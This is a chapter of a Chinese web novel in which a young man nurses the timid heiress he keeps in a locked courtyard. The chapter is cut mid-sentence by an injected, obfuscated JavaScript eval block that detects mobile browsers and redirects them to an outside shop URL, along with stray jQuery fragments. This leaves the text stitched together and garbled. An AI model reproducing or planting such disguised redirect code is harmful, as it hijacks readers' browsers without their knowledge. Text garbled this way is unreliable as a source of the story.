见她快哭了,谢执闭上了嘴。
元璎缇红着眼睛,努力忍着即将夺眶而出的眼泪。
院子里起了凉风,从他俩中间悠悠吹过。
谢执看看天色,忽然道:“该做晚饭了,小姐晚上想吃什么。”
元璎缇闷声回:“随便。”
“……吃鸡还是吃鱼?”
“吃鱼。”
谢执嗯了声,转身回屋去烧饭。
之前买过一条鲈鱼放在缸里养着,他弯腰捞出来,刀背敲在鱼脑门上,鱼便晕了过去。他手起刀落,剔鱼骨,片鱼肉,又切了一块豆香浓郁的豆腐。
他的刀工很好,鱼肉厚薄均匀,豆腐切成丁,方方正正。
热油锅的时候,他偷偷往外看了一眼。
元璎缇还站在原地,情绪好似已经缓和下来。
油熟了,他垂眸将鲈鱼滑进锅里。鱼皮在热油中收缩,他将双面煎得焦黄,添上滚烫的开水,又倒入豆腐,盖上锅盖。
大约炖了两刻钟,鱼汤便做好了。盛好端上桌,谢执又炒了一碟青菜,一盘葱花炒鸡蛋。
端着炒鸡蛋转身时,他发现元璎缇不知什么时候已经坐在了饭桌前。
她像是什么都没发生过一样,低头嗅着饭桌上的鱼汤,细声细气道:“阿奴,你做的鱼好香呀。”
谢执瞧着她的脸色,抬手盛了碗鱼汤放在她手边,声音不自觉地也放低了:“小姐尝尝,小心烫。”
元璎缇嗯嗯点头,拿起瓷白色的小勺子,舀起一点奶白的汤,放在唇边,耐心地吹吹。
鱼汤不烫了,她小口喝下,随即细细的眉毛往上扬起来,“阿奴,好好喝。”
看来,她已经不在意刚才的不愉快了。
谢执暗暗松了口气。
还好她的情绪来得快,去得也快。只要为她做顿饭就好了,都不需要他哄。
……
这晚下了场雨,雨丝绵绵密密敲在瓦檐上,响了大半夜。
隔日清早用早饭的时候,谢执听到元璎缇在闷咳。
他皱眉:“小姐着凉了?”
元璎缇揉揉有些堵塞的鼻子,又捏捏似乎发肿的嗓子,弱声道:“好像是。”
谢执伸手摸向她的额头,有些热。
“我们去看大夫。”
元璎缇却摇摇头:“我感觉不严重,过几天就好了,不用了。”
“不行,要去看。”
“这不好吧,我要是去看大夫,万一被齐王的人看到怎么办?”
她总是这么谨小慎微,谢执便道:“我去将大夫请回家。”
桃花镇只有一个医馆,医馆里只有一个坐诊的老郎中,谢执出了三倍诊金,老郎中才同意和他回家诊治。
万幸是个小小的风寒,发热不高,并不严重,老郎中给她把了脉,开了几味药,交代道:“煎服,喝三天便能好。”
老郎中去收拾药箱,见他二人年纪轻轻,不免又向谢执多唠叨了几句:“你家娘子体质太弱,小伙子,你得多上上心啊。”
谢执顺着老郎中的话,看向他的“娘子”,“请郎中指教。”
“体质太弱,便易生病,她那脉象虚浮,一试便知她平时是不爱动的。不爱动,弱不禁风的,一场雨就病倒了,你得让她多动一动。”
老郎中絮絮叨叨:“现在时值春日,万物生发,如此大好时间,你们出去走走呀,爬爬山,拜拜庙,多出去,她的身体自然越来越好。”
谢执若有所思,颔首道谢。
又多付了一倍诊金,送走老郎中后,他将药取回来煎上,走进屋里去看元璎缇。
她还发着热,脸颊红红的,呼出的气都有些烫。
“大夫说的话,小姐都听到了?”
元璎缇自然听到了,她躺在被窝里,双手整齐规矩地交叠搭在小腹上,神情恹恹的,“养养就好了,齐王还在抓我呢,我不出去。”
私心上说,谢执也不喜欢她出去。这是他费尽千辛万苦偷抢来的,他并不想出去招摇。
谢执看着她,顿了顿:“我们可以不去人多的地方。”
“那我也不出去。”元璎缇嗓音有些哑。
“我们去爬山,那里人少,不会有人看到你。”
“阿奴,我真的不想出去。”元璎缇可怜兮兮望向他。
“为什么?”谢执盯着她。细细算来,他把她关在这四四方方的小院儿,已经大半个月了,“小姐很久不出去,竟不难受么?”
“这有什么难受的,”元璎缇细白的手指捂在唇上,闷咳几声,“我在家时,也不出门的。”
谢执拿起壶为她倒水,问她:“小姐上一次出门是什么时候?”
“不算你救我出来那次,上次出门是上元节。”
上元节已经是三个月之前了。
“再上一次呢?”
“去年上元节的时候。”
谢执倒水的声音戛然而止,他抬起眼:“小姐一年只出门一次?”
“对呀,”元璎缇不觉得有什么问题,细声回答他,“我的眼睛不好,父亲说,出去只会添麻烦。”
谢执心里忽然窜起一股火,那火直往他的喉咙上顶。
若不是想起昨日元璎缇那双通红的眼睛,他几乎又要骂出声来。他忍下去,放下茶壶,将茶端到她的床前。
“我在小姐身边,你出去不会给我添任何麻烦。”
元璎缇撑着他的手臂坐起来,青丝铺了满背,有几缕散在鬓边,她没力气拨开,无精打采地接过水,小口啜了下。
嗓子舒服一些了,元璎缇又躺下去,“阿奴,我不想出去,你不要再劝我了。”
“小姐要听郎中的话。”
他又开始强硬地逼迫她。元璎缇不知道该怎么办了,身子往被褥里藏了藏,她小声道:“我出去干嘛,丢人现眼的……”
谢执盯着她,语气发冷:“这也是你爹说的?”
“对呀,我是个小废物,出去只会添乱,丢人又现眼。”
元璎缇烧得晕乎乎的,有些不太清醒,说这句话只是下意识,就像把听了无数遍的话熟练背诵出来。
“你爹真是混……”
元璎缇眨着没有焦距的眼睛,懵懵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531117|203435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地抬眼看他。
谢执把“蛋”咽了下去,他不再说什么,站在原地缓了好一会儿,然后沉默地收好她用完的茶盏,转身出了门。
药已经煎好了,他一言不发,倒进碗中。
清苦的药味弥漫,他的眼睛黑漆漆的,唇锋抿得平直,显得锋利又迫人。直到那碗滚烫的药渐渐变凉,他的神色才一点一点恢复平静。
谢执端着药重新回了屋,元璎缇迷迷糊糊似睡非睡,他轻声唤她:“小姐,起来吃药了。”
她便乖乖爬起来,神志不清地把药喝了。药很苦,但她只皱着眉头不吭声。
谢执端来温水让她漱了口,她再次躺下去,这次很快睡着了。
她的脸蛋绯红,身上的热似乎比之前高了,谢执打来热水,将帕子沾湿。
温热的帕子轻轻敷在她的额头上,她嘤咛一声。鼻子堵塞,呼吸不顺畅,她的唇瓣微微张着,吐出的气息都是热的,扑在他的腕上。
很痒。
谢执垂眸,盯着她的脸看。她的睡容很恬静,脸颊是绯红的,颈侧的皮肤也透着粉色,看起来脆弱不堪。
他又洗了一方帕子,轻轻擦拭她的颈侧动脉。
湿乎乎的水碰触干燥温热的皮肤并不舒服,元璎缇在睡梦中又轻轻地嘤咛一声。
即便她如此难受,也只是弱声地哼唧几声,毫不反抗,连手都不曾从被子里伸出来推拒一下。
……
谢执照顾了她一整日,隔一阵子便为她换帕子,喂温水。好在她发热持续的时间很短,傍晚的时候,她的体温便恢复了正常。
谢执煲了薄粥,亲自喂她吃下,她很快又迷迷糊糊睡了过去。
他为她关好屋门,去外面洗碗。这时,大门忽然传来砰砰的敲响声。
“大哥!你在家吗?”是青梢的声音,他回来了。
谢执洗完最后一个碗走出去,门打开,果然是青梢黑黝黝风尘仆仆的笑脸:“大哥,我回来了!”
“这一趟累死我了,我可都打听明白了。”青梢攒了一路的话,张口就要说,谢执却朝他做了个噤声的动作。
他回头看向元璎缇的卧房,里面安静无声,她睡得正沉。
“我们换个地方说。”
谢执走出院子,把大门轻轻合上。
门环摇晃,他的目光不由落在挂在一边的铜锁上。
黄铜大锁沉甸甸,约莫八斤重,他盯着看,莫名觉得眼疼。
当初他花大价钱买这把锁,是想把她锁起来,不让她逃掉。
现在看来,他真是想多了。
大小姐胆小又软弱,恨不得作茧自缚,他就算大门敞开,她也绝不会往外迈一步。
要这大锁有何用?
谢执抱臂冷笑。
青梢不知他为何忽然发笑,疑惑地伸手,往他眼前晃了晃。
谢执抬手把他的爪子拍开。
他面无表情,还是将铜锁挂上去,牢牢锁上。
这次,倒不是怕她跑了,他是怕有人闯进来,毕竟那位大小姐迷迷糊糊,柔弱可欺,对任何人都毫不设防。